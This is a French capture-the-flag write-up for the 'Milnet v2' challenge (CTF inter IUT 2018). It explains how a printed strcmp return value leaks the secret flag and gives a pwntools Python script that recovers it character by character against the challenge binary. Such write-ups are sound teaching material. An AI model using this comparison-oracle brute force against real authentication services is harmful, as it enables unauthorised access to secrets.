CTF inter iut 2018 - Milnet v2 (Pwn)

Obtenir un shell pour lire le fichier .passwd sur le serveur
Milnetv2.zip + 10.15.3.2 4002

 

 

On se rend compte qu’il faut faire en sorte que password et flag soient égal car strcmp doit retourner 0 mais nous ne connaissons pas flag.

La taille des entrées est vérifiée, il n’y a pas de string format pour leak la stack. Bref, je n’ai pas vu de failles, cependant une faille logique existe.

RETURN VALUE
       The strcmp() and strncmp() functions return an integer less than, equal to, or greater than zero if s1  (or
       the first n bytes thereof) is found, respectively, to be less than, to match, or be greater than s2.

strcmp retourne ainsi la différence avec la chaine initiale, or nous voyons le retour de cette fonction car il est simplement affiché.

switch :: ~/CTF/inter_iut/mil2 » ./mil2

             __  __ _____ _      _   _ ______ _______
            |  \/  |_   _| |    | \ | |  ____|__   __|
            | \  / | | | | |    |  \| | |__     | |
            | |\/| | | | | |    | . ` |  __|    | |
            | |  | |_| |_| |____| |\  | |____   | |
            |_|  |_|_____|______|_| \_|______|  |_|

#################################################################
######                                                     ######
######               Military Operation Network            ######
######  Unauthorized access to this device is prohibited!  ######
######                                                     ######
#################################################################
Enter username : switch
Enter password : E
[LOG] username:switch
[LOG] entered password:E
[LOG] logged:-78
----------------------[ ACCESS DENIED ]--------------------------
Enter username : switch
Enter password : D
[LOG] username:switch
[LOG] entered password:D
[LOG] logged:-1
----------------------[ ACCESS DENIED ]--------------------------

En allant à taton pour essayer de trouver quelle valeur permettrai de se rapprocher de 0, j’ai pu remarquer un grand changement de valeur entre E et D.

Les formats de flag étant ENSIBS{LEET_TROLL}. J’ai continué avec ENSIBS{ et je suis arrivé à la conclusion que quand logged retourné -1 c’était le caractère suivant qui était utilisé.

from pwn import remote

from pwn import *
from re import findall
from string import printable

#s = remote("10.15.3.2", 4002)
s = process("./mil2")

password = ""

while True:
        for x in printable:
                tmp = password + x
                s.recvuntil("Enter username :")
                s.sendline("A")
                s.recvuntil("Enter password :")
                s.sendline(tmp)
                data = s.recvuntil("------")
                log =  findall(r"logged:(\-?\d+)", data)[0]
                if log == "-1":
                        password += chr(ord(x) +1)
                        print password
                        break